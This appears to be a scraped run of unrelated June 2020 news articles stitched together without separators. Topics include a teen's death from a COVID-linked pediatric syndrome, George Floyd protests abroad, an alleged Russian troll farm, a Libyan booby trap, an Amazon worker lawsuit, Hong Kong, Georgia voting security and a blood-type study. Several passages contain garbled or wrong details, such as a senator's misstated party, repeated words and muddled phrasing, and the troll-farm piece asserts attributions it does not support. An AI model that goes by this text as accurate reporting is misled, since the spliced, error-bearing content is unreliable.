Dyson, her family members said, had done everything right when it came to the coronavirus.

Despite her low risk, she came home one day early in the outbreak with a mask and insisted on wearing it despite her friends' good-natured teasing. She was the one who begged her mom to go to the store to pick up hand sanitizer and other supplies. The eldest of four sisters, she enforced social distancing for the little ones.

But her mother, Kandice Knight, 32, worked as a hairdresser, and as her clients dwindled during the shutdown, she could no longer afford her own place. So they had been staying with relatives - nearly all of whom work jobs that force them to be out in the community, potentially exposed to the pathogen. Dyson's grandfather is a truck driver, their neighbor works for Burger King, an uncle for the electric company, and so on. The shops nearby and other neighbors' homes were also probably full of people who are essential workers.

Jerome Patterson, who called Dyson a "hype cousin" as a sign of his adoration, said she rarely ventured out and took stay-at-home orders seriously. Instead, she passed the time making TikTok videos with her little sisters and posting on Instagram to her friends.

Patterson, 15, the same age as Dyson but in ninth grade while she was in 10th, said the two of them had been sitting around listening to music when suddenly her stomach began to hurt her.

"One minute was fine, and then she was not," he said. "I've been sad and angry and really very scared."

Things got so bad that on May 11 - after several days of fever and severe stomach pains that left her unable to eat - her mother rushed her to the nearest hospital.

Over the next few days, Dyson's condition deteriorated further, and she began to experience the telltale symptoms of a rare and mysterious pediatric syndrome related to covid-19 that has killed several children in New York state and other parts of the world. It has been described as similar but distinct from Kawasaki disease, a condition whose cause is unknown but usually affects children under the age of 5. Some doctors have described the condition as the pediatric equivalent of the "cytokine storm" occurring in some adults with severe illness.

Health commissioners in New York and New Jersey released data this week that showed black or Hispanic children have been disproportionately affected by the pediatric syndrome - representing roughly two-thirds of all cases.

Similar findings have been reported in Europe. In Paris, doctors at one hospital wrote in the medical journal BMJ that 12 of 21 children seen there were of African or Caribbean heritage. In another outbreak in the southeastern United Kingdom, six of eight cases were children of color.

"These clinical findings should prompt high vigilance among primary care and emergency doctors . . . in countries with a high proportion of children of African ancestry and high levels of community transmission," the French researchers wrote.

Like others with the condition, Dyson tested negative for active coronavirus but had antibodies showing she had been infected in the past. Dyson broke out in a rash on her face, back, hands and feet. Her blood pressure plummeted. And her heart began to fail.

Doctors desperate to save her put her on a heart bypass machine and ventilator. Six days after she was admitted to MedStar Union Memorial Hospital and then transferred to Johns Hopkins, and a month shy of her 16th birthday, she died.

In the weeks since Dyson's death, family members have struggled to make sense of what happened - why, in a state with more than 1.3 million children, was an African American child the one to perish? Why are black deaths from covid-19 such a big share of the total? Republican Gov. Larry Hogan has tweeted alarm about the "troubling disparities," and the state was one of the first to start collecting racial data.

Memorialized in a poster-size picture with silver balloons blowing in the breeze on the day of her funeral, Dyson stared down at the gathering from a small patch of grass in the complex. Her mother and three younger sisters - ages 13, 5 and 3 - ran around dressed in identical tulle skirts in blue, the teen's favorite color, and a custom T-shirt.

Knight said she and Dar'Yana were so close in age that she felt as if she had lost her best friend as well as a daughter. She said she was still in a state of shock.

"The virus took my baby," Knight said. "A girl this young and healthy - she shouldn't have died."

Knight and other family members, while respectful of the doctors who treated Dyson, expressed confusion and suspicion about what she experienced in those six days at the hospital. Some wondered whether it was the ventilator that might have killed her, given she was so strong and healthy before she went to the hospital. Her heart stopped just as doctors were getting her onto the machine. She was resuscitated but died several hours later.

"It wasn't supposed to affect someone her age, but it did," said Manuel Henderson, 61, Dyson's grandfather. "I think it's because they put her on the ventilator that did it."

The reflections underscore an eroding public trust in the medical establishment - trust that some relatives, friends and neighbors said was already fragile because of months of flip-flops and conflicts about the virus between President Donald Trump and state health officials, as well as a history of mistreatment.

Ahing Castro, 39, a home improvement contractor who lives in the housing complex, said he has not been surprised that so many black Americans are dying from covid-19. He said this was happening for the same reason he felt underperforming schools festered in black neighborhoods and large numbers of liquor stores got licenses to open up.

"It's how it's set up," he said. "It's another way to keep us down."

He described how he was recently working on renovating a home and police saw him through the window and immediately assumed he had broken in. Even when he showed them he had the key and his tools, he said, they detained him until they could reach the owner.

Looking back, some family members say, it may have been almost inevitable that Dyson was exposed, given the community in which she lived. Everyone seemed to know someone who had been infected or died. But family members also said there has not been enough testing, and many neighbors do not have cars.

"We need to know who has it so we can protect ourselves better," said Dyson's aunt Rhonda, 42. She asked that her last name be withheld because she works for the government. "We are out here scared, and we don't know what to do."

Suncercy Smith, a 33-year-old single mother and family friend who is a cashier working during the pandemic, said she is angry at the government for not doing more to protect black communities when it should have been clear they would be affected so severely.

"They knew," Smith said. "They should have been prepared. It's not right."
A section of Nairobi County ward reps claims their lives are in danger after they declared their support for the Nairobi Metropolitan Service(NMS).

Led by Makongeni MCA Peter Imwatok and Nominated MCA June Ndegwa, the MCAs raised the concerns on the floor of the assembly Tuesday when the House resumed after a three-month recess.

Imwatok said that his family is being targeted for his stand against corruption and support for NMS.

I have been forced to shift houses because my family is also being targeted. Unknown people approached my former caretaker asking for my whereabouts. It is not easy to sleep at night knowing that you and your family are being targeted, he said.

Adding: This is my life and even if I rest today I know I have done my part on proper oversight. The issue of security cannot be compromised. If Madam Speaker you cannot protect us we have no choice but to protect ourselves.

On her part, Ndegwa said unknown people had gone to her house to ask her whereabouts.

We have written to the office of the DCI, DPP and the Interior Ministry to investigate in the matter. Our security should be beefed up because this is not an issue to take lightly, she said.

Dandora Three MCA Charles Thuo called for the House to be adjourned if their concerns are not addressed.

I am a victim because my number has also been traced and I have reported to the DCI. If the issue of security of all 122 members is not addressed then the House needs to be adjourned, said Thuo.

Speaker Elachi said she will write to the Jubilee party concerning the matter for it to be resolved next week.

The Jubilee Party will have to sit down and look at all these issues raised by its members. I know there are very many issues. They should sit with the party leader to deal with this matter and until then the interim current leadership remains, she said.
As protests over the death of George Floyd on May 25 sweep the U.S., people around the world are rallying to end police brutality. Some marched to U.S. embassies or consulates in solidarity, while others tied the Black Lives Matter movement in the U.S. to their own struggles with racial inequality and police violence. Some protests numbered a few dozen, while others had tens of thousands of marchers. Many, like their counterparts in the U.S., faced police forces that deployed tear gas.

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In Paris, at least 15,000 people defied a coronavirus-related ban on protests and flooded the streets on Tuesday evening. Protesters linked the death of Floyd in Minneapolis to the citys history of abusive policing practices that disproportionately affect Arab and black Parisians. In 2016, 24-year-old Adama Traore, a black construction worker, died while in the custody of French police. He, like Floyd, suffocated to death. Parisians rioted in 2005 following the deaths of teenagers Bouna Traore and Zyed Benna, who were electrocuted while trying to escape from the police. French police, citing security concerns and the coronavirus, have now banned a protest planned for Saturday at the U.S. Embassy in Paris.

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Wow. Huge rally in Paris #France today paying homage to #GeorgeFloyd & Adama Traore who died in French police custody in 2016.



Rally itself defied a police ban:

pic.twitter.com/42zqoeT3Co  Joyce Karam (@Joyce_Karam) June 2, 2020

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In London, thousands of people opposed lockdown orders and marched from Hyde Park to Parliament Square on Wednesday. This follows in the wake of a demonstration in front of the U.S. Embassy on May 31. Some then marched to Grenfell Tower, the site of a 2017 fire that killed 72 people, many black and Arab. Protesters also gathered in Berlin; Rotterdam, Netherlands; Milan; Madrid; Dublin; Zurich; Copenhagen; and Athens, Greece, as well as in other European cities, large and small.

This is huge.



London marching for George Floyd outside of the US embassy right now.



Incredible scenes. #protests2020 pic.twitter.com/8XstqCRSKj  Sarah Abdallah (@sahouraxo) May 31, 2020

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"George Floyd, say his name."



Protesters gathered for a Black Lives Matter march in Berlin, Germany, chanting George Floyd's name, and marching in solidarity with U.S. demonstrators. https://t.co/HqTHfmbcJv pic.twitter.com/6I9tuJpFyX  ABC News (@ABC) June 2, 2020

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Several other countries marching in support of Black Lives Matter linked it to their own struggles with police violence. A May 28 protest in Rio de Janeiro called for an end to Federal Police operations inside favelas, the densely populated, low-income neighborhoods that house a quarter of the citys nearly 7 million residents. A 14-year-old boy, Joao Pedro Pinto, was shot and killed in his home by Federal Police on May 18. During the protest, people chanted, I cant breathe, and police used tear gas on the protesters.

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This is what is happening during the protests rn in Brazil pic.twitter.com/1dXl5Nl7tp  Lia  |  (@shinewthstyles) May 31, 2020

In Sydney on Tuesday, thousands also marched and chanted, I cant breathe, echoing the final words of both Floyd and David Dungay, a young aboriginal man who died while being restrained by prison guards in 2015. Its just gut-wrenching the climate of whats happening in America, and its also happening here in Australia, though its subtle, one protester told the Associated Press. On Friday, an Australian court banned a rally planned for Saturday in Sydney, citing concerns over the coronavirus.

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Not only USA



Protests in Sydney and now we can hear people around the world yelling " I cant breath". #GeorgeFloydProtests pic.twitter.com/ObIIdGWZxy  Eduardo Reyes (@edureyes_2) June 2, 2020

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Protesters now taking a knee during the march. Speakers say the media needs to pay attention to police brutality in Australia as well as overseas.



A young boy in Surry Hills got slammed by police yesterday. It happens so often. It is an Australian problem. We are sick of it. pic.twitter.com/mm2djuXGc1  Naaman Zhou (@naamanzhou) June 2, 2020

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Protests, murals, memorials, and other tributes to Floyd have sprung up in Auckland, New Zealand; Toronto; Tel Aviv, Israel; Istanbul, Nairobi, Kenya; Kolkata, and more and are expected to continue through the weekend.

Justice for George Floyd. US Embassy, Mexico City. pic.twitter.com/SLraGkNYO9  Madeleine Wattenbarger (@madeleinewhat) May 30, 2020

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Breaking: Protesters are clashing with police in Montreal, Canada. Protesters are demonstrating against the killing of George Floyd and Regis Korchinski-Paquet. pic.twitter.com/CEBYg6joVg  PM Breaking News (@PMBreakingNews) June 1, 2020

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#Turkey#Antifa protest march against police brutality, racism and in honor of #GeorgeFloyd and #BarsCakan in the Kadkoy district of #Istanbul, was violently attacked by the police forces.

At least 20 protesters have been arrested. pic.twitter.com/dZ0hTc9eS9  th1an1 (@th1an1) June 2, 2020

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CNN and Twitter found accounts posing as belonging to U.S. residents were being set up and run from Ghana and Nigeria.

A Russian-controlled troll farm is working to fuel and radicalize U.S. protests, a think tank reports.

Earlier this year, the farm got into the spotlight of CNN's team in Ghana, according to IGTDS.

CNN reporters in their piece titled "Russian election meddling is back -- via Ghana and Nigeria -- and in your feeds" pointed out that the Eliminating Barriers for the Liberation of Africa (EBLA) organization was just a cover for cyber-influence groups operating from the territory of Ghana. Their efforts were focused almost exclusively on racial issues in the U.S., promoting black empowerment and often channeling rage towards white Americans. The goal, as believed by experts who follow closely Russia's modern-day disinformation campaigns, is to inflame divisions among Americans and provoke social unrest.

Facebook says that about 13,200 Facebook accounts followed one or more of the Ghana accounts, and around 263,200 people followed one or more of their Instagram accounts, of whom 65% were U.S.-based.

CNN and Twitter found accounts posing as belonging to U.S. residents were being set up and run from Ghana and Nigeria.

CNN has found EBLA workers created fake social media accounts in bursts, since the group registered in June 2019. The activity stopped suddenly in February 2020 after a raid, and Twitter later suspended accounts on its platform.

One of the accounts even pretended to be the cousin of an African American who died in police custody. The post was then shared by a Facebook group called Africans in the United States. The group told CNN it had no idea that trolls were trying to engage it. Further IGTDS analysis of the group reveals that it is most probably a part of the Russian pressure group affiliated with Russian Military Unit 74455 that had been in the focus of the think tank's analysis back in December 2019 (in relation to so-called Russia's Anti-Globalist Movement).

Read alsoKremlin propaganda goals in wake of U.S. protests

A second look at Alexander Ionov's Facebook followers and friends' content in May 2020 indicates their active efforts to engage with protesters  both in the United States and in the countries of Africa.

Ionovs contacts with African People's Socialist Party USA are extremely pro-active.

The narratives of posts are closely intertwined and related to the messages spread at the current protests in the U.S. The key message for the majority of reports is police violence against black people. Moreover, such cases in the United States are mostly combined with the facts of human rights abuse by the police in African countries.

This approach obviously intends to highlight massive violations of black people's rights in the United States, given the information is disseminated on behalf of African People's Socialist Party USA.

During the pandemic, the psyop narrative was supplemented by black people's rights abuse and their discrimination in health care facilities.

The second narrative circulated by the accounts affiliated with Russia is the populist one stating that those whose predecessors oppressed the black population should now pay reparations. The message is addressed to the vulnerable strata, aiming to urge followers to take to the streets, applying the Marxist-Leninist formula "Take from the rich  give to the poor."

Such a message obviously promotes radicalization of protests and looting.

The campaign carried out in Africa has similar narratives, while pursuing a different goal  to crack down on the U.S. presence in Africa.
A sickening teddy bear bomb was left behind by Russian mercenaries fleeing war-torn Libya, government-backed forces claimed last night.

Photographs released on Friday show the cuddly toy taped to a mortar shell hidden under a table with a tripwire.

Libyan officials said the booby trap was found in a civilian home in Tripoli after a Russian-backed Libyan commander retreated from the capital.

Libyan General Khalifa Haftar has been fighting alongside thousands of mercenaries sent to help him topple the UN-backed government.

Libyan officials said a teddy bear taped to a mortar shell was found hidden under a table, with a tripwire, in a civilian home in Tripoli (pictured)

Khalifa Haftar had been fighting with thousands of mercenaries sent to help him topple the UN-backed government. Pictured, Libyan army captures ammunition from the warlord's militias in Tarhuna on June 5

Yesterday forces loyal to the Government of National Accord (GNA) captured Haftar's last major stronghold near the capital.

The defeat capped a sudden collapse of his 14-month offensive on the capital.

A spokesman for the the government-led counteroffensive, the Burkan Al-Ghadab (Volcano of Rage) operation, said of the booby trap: 'Our heroic forces inside one of the homes of civilians in the liberated capital areas found a child doll planted with explosive devices left by Haftar's terrorist militias before their escape.'

Independent arms researcher Calibre Obscura said the deadly device was typical of the methods deployed by the shadowy Russian private military company Wagner.

The bear was later seen being paraded by joyous residents in the main square in Tripoli.

This comes after Russian-backed Libyan commander Khalifa Haftar retreated from the capital. Pictured, a damage site after an attack carried out by militias loyal to Haftar on May 6

GNA adviser Mohammed Ali Abdallah said Vladimir Putin (pictured on June 3) was trying to create chaos in the country by backing Haftar

Mohammed Ali Abdallah, a senior adviser to the GNA, warned that Vladimir Putin was trying to create chaos in the North African country by backing the renegade General.

He said if Haftar triumphed, Moscow would have a military base 'a stone's throw away' from European shores on the Mediterranean.

Mr Abdallah added that the teddy bear booby trap was 'straight out of the Russian Wagner Group playbook'

The US military has accused Russia of secretly deploying at least 14 fighter jets to Libya to support the mercenaries.

Mr Abdallah warned that Haftar posed a bigger threat to Britain than Colonel Muammar Gaddafi who was toppled in 2011 in a move that plunged the country into civil war.

He said: 'Khalifa Haftar is Gaddafi 2.0, Gaddafi on steroids.'

He said he believed there were now as many as 3,000 Russian mercenaries from the elite Wagner Group operating in the country.
All Blog Posts Kansas City Ballet believes in the right for all to experience full equity and inclusion, regardless of race. Our hearts are deeply saddened for the losses across our country and the pain we have all witnessed. We stand united with hope for better, more just, and equitable days ahead.
Amazon might face a lawsuit for failing to provide COVID-19 protections and health benefits to its employees and their families, The Verge shared.

In the Staten Island facility of Amazon, employees at the warehouse began voicing their cries over not receiving enough health benefits from the company in the middle of the pandemic scare. Even their families are affected, the report added.

Complaint filed

On Wednesday, June 4, three Amazon workers at the company's JFK8 warehouse filed a complaint against the online selling platform, alleging that they placed "'a facade of compliance to meet public health guidelines" while pressuring the workers to work even under unsafe conditions.

They compared the situation of employees in New York who, according to the complaint Tech Times obtained from media outlets, remained safe because of the stay-at-home order. However, the scenery is different for these Amazon warehouse employees.

The company has already issued a statement, via their spokesperson Rachael Lighty. She said, "We are saddened by the tragic impact COVID-19 has had on communities across the globe, including on some Amazon team members and their family and friends."

Lighty added that from March to May 1, the company offered its employees unlimited time to work and even offered leave for those who are vulnerable to the virus. Modified regulations are also set for workers who need to take care of their relatives and family members.

For the employees, however, it is the opposite.

What employees are saying

Barbara Chandler, an employee at JFK8, was among the first confirmed cases of COVID-19, the complaint added. After having the symptoms, the people in her household reportedly acquired the virus. These, in particular, are her cousin and eldest son.

Her cousin, later on, was found dead in their bathroom, due to the virus.

This complaint is only among the many accusations Amazon is facing in relation to its failure to protect its workers during the pandemic. As of press time, the company is reportedly denying requests for information on the number of confirmed cases in their workforce. They are arguing whether the data will be useless.

Nevertheless, Amazon confirmed death of their nine workers across all of its facilities in the United States, including those working at JFK8.

Actions did

Amazon said it tripled the amount they clean their facilities and continuously provide masks and hand sanitizers in the workplace. They also committed to produce and distribute plastic face shields to their workers and to the general public.

Lighty also argued that there is currently a $4 billion worth of investment dedicated to combating COVID-19 in the workplace. In this amount, there's $800 million provided for temperature checks, enhanced cleaning, sanitation, benefits, testing, extended pay, and more. It also includes a two-week paid leave for those who need to have self-quarantine.

The response from the employees: inadequate. Though there are hand sanitizers, they noted that insufficient policies are making it impossible for them to implement social distancing. Those who applied for leave are waiting too long to receive the benefit.

Their complaint seeks a court order that will urge the online selling platform to expand its policies and partner with third parties for contact tracing. These constitute granting employees more fair compensation.

"We are deeply saddened by the loss of an associate at our site in Staten Island, NY," Amazon stated. "His family and loved ones are in our thoughts, and we are supporting his fellow colleagues."

The complaint was filed under the U.S. District Court for the Eastern District of New York.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Chinese game company NetEase has opened a next generation game development studio in Tokyo, Japan.

Niko Partners senior analyst Daniel Ahmad highlighted the news on Twitter, and said the new 'Sakura Studio' branch will be focused on creating console titles -- although it'll be hiring folks with experience working across console, PC, and mobile platforms.

It's notable to see NetEase funneling recourses into the console space, with the Chinese company having largely focused on developing and publishing PC and mobile titles.

For those unfamiliar with the name, NetEase is one of the biggest players in the Asian market, and has partnered with Blizzard, CCP Games, and Mojang to bring popular titles like Diablo Immortal, EVE Online, and Minecraft to China.

The company has also recently invested in other developers including Bossa Studios and Behaviour Interactive, and last year opened an R&D division in Canada to further its ambition of becoming a global business.
Few groups in Canada have been hit harder by COVID-19 than residents of long-term care homes.

As of Wednesday, the Alberta government reported there had been 728 total cases of COVID-19 and 111 deaths from the illness at continuing care facilities in Alberta alone. Because of the pandemic, visits to these facilities have become limited, leaving it to health-care aides to take up more work helping the residents.

This is what led Rommel Arguelles, an aide at Covenant Health's Youville Home in St. Albert, to add hairdressing to his daily set of responsibilities as an aide.

Arguelles has worked in health care for more than a decade. He was a registered nurse in his home country of the Philippines, and after he moved to Canada in late 2009 with his wife, he transitioned into working as a health-care aide.

But hairdressing isn't a totally new task for him either, as he said he'd often help his children to style their hair while they were growing up.

"It just came naturally. As a father myself, I'm kind of hands-on with my kids when they were growing up," said Arguelles who spoke with CBC's Radio Active on Thursday afternoon.

Arguelles doesn't cut hair at Youville, but he'll style residents' hair as part of their daily routine along with helping to get them dressed and ready for meals. Arguelles said staff help residents with around 90 per cent of their daily activities.

Supplied by Covenant Health

Arguelles said he feels sad for residents who have been unable to see visitors as often. With fewer visitors to the centre and with health restrictions keeping Arguelles solely working in Youville instead of splitting time between different facilities, this has created a stronger bond between Arguelles and the residents he works with.

"For now, we are their family," Arguelles said.

"We help them out calling their families. We sometimes sit with them, have a little chat."

While providing daily support for Youville's residents, Arguelles said he badly misses his own parents back home in the Philippines. He had been planning to spend a month back home in the Philippines with his family at the end of the year, but the COVID-19 pandemic has prevented that from happening. It's been six years since Arguelles last saw his parents in person, but he still keeps up with them regularly.

Story continues

"For the last two months back home, they're not allowed to come out. So every other day I make it a point to call them, video chat with them, update them with what's going on back in Canada," Arguelles said.

While he misses his parents, Arguelles said the residents he works with at Youville have become a family for him in Canada the more time he spends with them.

"I'm not saying I'm replacing my mom and my dad, but for now they are my folks in Canada," Arguelles said.
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Two people hold up candles during a vigil at Victoria Park, Hong Kong, on June 4, 2020. (Song Bilung/The Epoch Times)

Bipartisan Lawmakers Introduce Resolution Condemning Chinas Security Law on Hong Kong

A bipartisan group of U.S. congress members issued a resolution on June 4, condemning Beijings move to impose a national security law in Hong Kong.

As national security legislation is being imposed in the city [Hong Kong], we stand in solidarity with the people of Hong Kong and call on the [Trump] Administration to use all diplomatic means, including targeted sanctions, to protect Hong Kongs rule of law and freedoms, said James McGovern (D-Mass.), according to a press release from the Congressional-Executive Commission on China (CECC).

Beijing adopted the national security law after a ceremonial vote on May 28, which opens the door for Chinas security agencies to set up operations in Hong Kong. The law will be implemented in Hong Kong after Beijing is done drafting details of the legislation.

In response to the security law, President Donald Trump has announced measures to reassess ties with Hong Kong, such as revoking Hong Kongs special trading status with the United States.

The resolution stated that the legislation signals a violation of Chinas commitment to the People of Hong Kong to honor one country, two systems, while dealing a severe blow to the citys autonomy. Beijing promised to rule Hong Kong under the one country, two systems framework upon the territory transfer from British to Chinese rule in 1997.

U.S. lawmakers noted that China has been using its own national security law to imprison and arbitrarily detain people such as dissidents and rights defenders in the mainland.

The bipartisan resolution was led by Representatives Chris Smith (R-N.J.) and McGovern, and Senators Marco Rubio (R-Fla.) and Jeff Merkley (R-Ore.). Other cosponsors of the resolution included Senators Cory Gardner (R-Colo.), Rick Scott (R-Fla.) and Dianne Feinstein (D-Calif.), as well as Representatives Tom Suozzi (D-N.Y.) and Ben McAdams (D-Utah).

The resolution also condemned the mass arrests of Hong Kong democracy activists in April, and commemorated victims of the 1989 Tiananmen Square Massacre in China.

With this resolution, we solemnly remember the Tiananmen massacre because there is still no justice for those who lost their lives or suffered imprisonment and torture for peacefully seeking freedom and reform, said Smith in the press release.

The 1989 pro-democracy protests, which the Chinese regime brutally suppressed, are a taboo subject in mainland China. To this day, Beijing has not disclosed how many were killed during the crackdown.

The Chinese Communist Partys slaughter of unarmed Chinese civilians was a tragedy that will not be forgotten, said the White House in a statement released on Thursday. It then called on Beijing to provide a full accounting of those who were killed, detained, or remain missing in connection with the massacre 31 years ago.

On Thursday evening, thousands of Hongkongers defied a police ban to hold their annual candlelight vigil to commemorate the Massacre. The police banned the event citing concerns about the spread of the CCP virus.

Joshua Wong, secretary-general of the local pro-democracy party Demosisto, expressed worries about the citys future after Beijings decision, unilaterally imposing the draconian national security law on Hong Kong, he said in a series of tweets on Thursday.

Wong explained that it could mean that locals would no longer be allowed to publicly talk about the massacre or hold the vigil once the law was implemented. He added that arbitrary arrests and censorship would become ubiquitous in the city.

Lee Cheuk-yan, chairman of the Hong Kong Alliance in Support of Patriotic Democratic Movements of China, the organizer behind the annual vigil, also expressed concerns about the law, while speaking via video conferencing at a congressional hearing on Thursday.

It is sad to announce to the world Hong Kong is now One Country One System. The rule of law that we are proud of[has] become rule by law and rule of fear, Lee said.

Lee pointed to the four offenses outlined in the lawsubversion, secession, foreign intervention, and terrorismand how these crimes are very vague and poorly defined in China.

For example, Lee said pastor Wang Yi was sentenced to nine years in prison in December 2019 for inciting subservience of state power because he stood up for religious freedom.

Chinas violent repression of dissent was wrong in 1989 and its still wrong today as they persecute Uyghurs and crackdown on Hong Kongs autonomy, said Feinstein, in a press release. Uyghur Muslims in Chinas Xinjiang region are heavily monitored and suppressed by authorities.

Finally, the resolution called on Hong Kong leader Carrie Lam to allow Hongkongers to exercise their freedoms, including speech, press, assembly, and assembly, as guaranteed under Article 27 of the citys mini-constitution, the Basic Law.
CCP Virus Transmission Concerns for Black Lives Matters Protest in Australia

The New South Wales government is scrambling to stop a Black Lives Matter and Indigenous Lives Matter protest from happening in Sydney after the event swelled from only 50 attendees to over 10 thousand.

The NSW Government would never ever give the green light to thousands of people flagrantly disregarding the health orders, said NSW Premier Gladys Berejiklian.

What this protest has turned into is a flagrant disregard of the health rules. We cant afford to have exceptions for anyone, she said.

More than 10,000 people indicated their interest or intention to attend even as the state continues to grapple with the CCP (Chinese Communist Party) virus pandemic (commonly known as novel coronavirus) and begins to slowly lift restrictions.

Berejiklian has taken the matter to the supreme court.

Prime Minister Scott Morrison expressed his concerns that the protests will undo the sacrifices made by Australians who have respected social distancing orders.

At a press conference on June 5, Morrison said: Lets find a better way and another way to express these sentiments rather than putting your own health at risk, the health of others at risk, the great gains weve been able to make as a country in recent months.

I encourage people not to attend for those reasons and those reasons only, Morrison said.

The protests were organised in solidarity for American George Floyd who died in police custody, and for Australias Indigenous deaths in custody record.

Related Coverage New Video Appears to Show Three Police Officers Kneeling on George Floyd

Events planned in Sydney and Melbourne have attracted interest from tens of thousands of people on social media.

New South Wales Premier Gladys Berejiklian and Victoria Premier Daniel Andrews have urged people not to attend.

Political Backlash and Health Risks

Victorias Shadow Minister for Police and Community Safety David Southwick said in a media release on June 3: Daniel Andrews has been very clear that you can expect a fine for having an extra person over for dinner but is now turning a blind eye to tens of thousands of people at a protest.

While Premier Daniel Andrews has acknowledged how strongly people feel about the issue, hes also asked people not to protest because of CCP virus risks.

Victorias Chief Health Officer Brett Sutton has strongly advised people not to attend the rally in Melbourne citing the heightened risk of spreading infection in crowds.

I understand the passions that people will have in relation to this and the desire to protest, but my focus has always been on the health and wellbeing of people and that includes for the protesters themselves, Sutton said.

Police have made a request to the organisers, Warriors of Aboriginal Resistance (WAR), to reconsider holding the event while restrictions are still in place.

WAR added health advice to the social media post for anyone attending.
The pedestal where the statue of Admiral Raphael Semmes stands empty, early Friday, June 5, 2020 in Mobile, Ala. The city of Mobile removed the Confederate statue early Friday, without making any public announcements. Read more

MOBILE, Ala.  Alabamas port city removed a statue of a Confederate naval officer early Friday after days of protests over the police killing of George Floyd, with the mayor saying the monument was a potential distraction to focusing on the citys future.

The bronze likeness of Admiral Raphael Semmes, which stood in a middle of a downtown street near the Mobile waterfront for 120 years, had become a flash point for protest in the Gulf Coast city. Vandalized during a demonstration this week and then cleaned by the city, it was removed overnight without any public notice.

Mayor Sandy Stimpson, in a string of messages sent on Twitter, said he ordered the removal. The decision to take down the statue wasn't about Semmes or the monument itself, and it is not an attempt to rewrite history, he wrote.

Moving this statue will not change the past. It is about removing a potential distraction so we may focus clearly on the future of our city, Stimpson said.

The city would not say where the statue had been taken or what would be done with it, and it didnt rule out the possibility that it would be returned to its original location.

Other Confederate symbols have come down around the South as calls to get rid of rebel monuments intensified during protests over Floyd's death, in which an Minneapolis police officer was charged with murder.

The city of Birmingham removed a towering obelisk after another statue was toppled by protesters. Virginia's governor has decided to remove a huge statue of Gen. Robert E. Lee in Richmond, Virginia, after city authorities said they'll remove other Confederate monuments from Monument Avenue.

 READ MORE: Live coverage of what's happening Friday, June 5

Semmes was a Confederate commerce raider, sinking Union-allied ships during the Civil War. According to the Encyclopedia of Alabama, he was jailed on treason charges in New York City before returning South after the war, and was later prohibited by U.S. authorities from taking office as an elected judge in Mobile.

He devoted his later years to writing his memoirs and became a Lost Cause hero to Southerners who lamented the end of the Confederacy. The statue was dedicated in 1900, the year before Alabama ratified a Constitution that established white supremacy in the state by essentially disenfranchising blacks and poor whites.

Semmes, a city of several thousand people near Mobile, was incorporated in 2010 and named in his honor.
2020 The Atlanta Journal-Constitution (Atlanta, Ga.). Distributed by

Tribune Content Agency, LLC.

(TNS)  The security surrounding Georgias new voting system is code-named Project Beskar, a reference to impenetrable steel from Star Wars.Georgia election officials say the protections are strong enough to safeguard votes from hacking attempts or tampering, with upgraded voting equipment that adds a paper ballot for the first time in 18 years.But election security experts arent convinced. They say the system remains vulnerable because it still relies on electronics and retains a link to the internet. They fear computer-generated paper ballots will prove to be meaningless if most voters fail to check them for accuracy.Across Georgia, all voters who go to the polls to cast ballots in the June 9 primary will use the $104 million system , which features fresh touchscreens, printers, check-in tablets and tabulation servers. Old equipment has been put in storage , never to be touched by voters again.Gabriel Sterling, who oversaw the installation of the voting system, said its independent from any potential flaws in Georgias outdated electronic voting machines. Even if they had been compromised, Sterling said the old computers wouldnt contaminate the new ones.Its all new machinery across the board. Its completely independent. Weve done everything we can to build up security in the system, said Sterling, the systems implementation manager in the secretary of states office. Having the paper ballots is the long-term security key that we all need to be looking at thats going to make us have faith in the outcomes.Sterling said the secretary of states office instituted rigorous protection measures, including firewalls, network traffic monitors, strong passwords, encryption, training and physical equipment security.Election computers, however, arent free from the threats of the online world.The voting system includes a wireless connection to the internet, used in counties when voter registration information is loaded onto tablets. The internet access point is only turned on for a couple of minutes, information is encrypted, and information can be exchanged with specifically identified tablets.Those restrictions might be insufficient, said Duncan Buell, a University of South Carolina computer science professor.Two minutes is a very long time if someone wants to hack you, Buell said. The notion that counties can protect themselves against nation-state attackers is just wrong. I think its an excess of hubris, and I think its naive.The danger, Buell said, is that a hacker could disrupt an election by making computers show that voters arent registered or changing their addresses so they cant cast a ballot.Election officials have minimized those risks on the voter check-in tablets, called Poll Pads, said Merritt Beaver, the chief information officer for the secretary of states office. Poll Pads are used to program green voter access cards, which voters insert into touchscreens. The cards tell the machine to display the ballot that matches each voters district and political party in the primary.Systems like Poll Pads have very limited network access and are configured and locked down to only communicate with known sources at specific time windows, Beaver said. All communication is encrypted, and all nonessential applications are removed to limit functionality of the devices.At least one vestige of Georgias previous voting system remains: the states voter registration system installed in 2013.Because voter registration information was transferred into the new voting system, the possibility exists that malware could have spread, University of Michigan electronic voting expert Alex Halderman wrote in court documents in an election security lawsuit If attackers infiltrated any of the components  they likely continue to have access to those components, because it is difficult to expel sophisticated attackers from a computer system once it is breached, Halderman, a computer science professor, wrote in an affidavit in January.State election officials say they prevented problems by loading voter registration information from a text file that was scanned for malware. In addition, an elections worker hand-typed voting district information into a new database to avoid exchanging old files.Theres no indication Georgia voter registration records have been infected, but its possible that problems have gone undetected. Precincts must keep paper copies of voter registration records available as a backup.Though all voting systems have potential vulnerabilities, officials should do everything they can to protect the integrity of the elections process and reassure voters, said Matt Masterson, a senior cybersecurity adviser for the U.S. Department of Homeland Securitys Cybersecurity and Infrastructure Security Agency We know our adversaries want to undermine our confidence in our democratic institutions, Masterson said. The best response is for Georgians to get involved and participate.Voters should check their printed-out paper ballots to ensure theyre correct, but a study this year found few people do so. Just 16% of voters reported ballot errors even after they were warned by poll workers in a simulated election that their paper ballot was the official record of their vote, according to the study by Halderman and his peers at the University of Michigan.Election officials plan to conduct audits of paper ballots to verify the accuracy of election results. Voting rights groups that prefer paper ballots filled out by hand say audits of printed-out ballots wont ensure accurate results unless voters review them.
(Photo : REUTERS/National Human Genome Research Institute/Handout) A DNA double helix is seen in an undated artist's illustration released by the National Human Genome Research Institute to Reuters on May 15, 2012. (Photo : REUTERS/Agustin Marcarian) Healthcare workers transport a woman on a stretcher into an ambulance outside a geriatric facility after several cases were confirmed there, during the spread of the coronavirus disease (COVID-19), in Buenos Aires, Argentina May 7, 2020.

Researchers from the University of Kiel in Germany concluded that patients with type 'A' blood are more likely to suffer serious illnesses if they have contracted COVID-19. The researchers were the first to document a strong statistical link between genetic variations and the coronavirus.

Based on the study, geneticists found that genomes make those with type 'A' blood 6% more vulnerable to the illness. Researchers looked into the human genome to identify bits of DNA that make people more susceptible to having severe cases of COVID-19 and they found a common genetic root shared by patients with type 'A' blood.

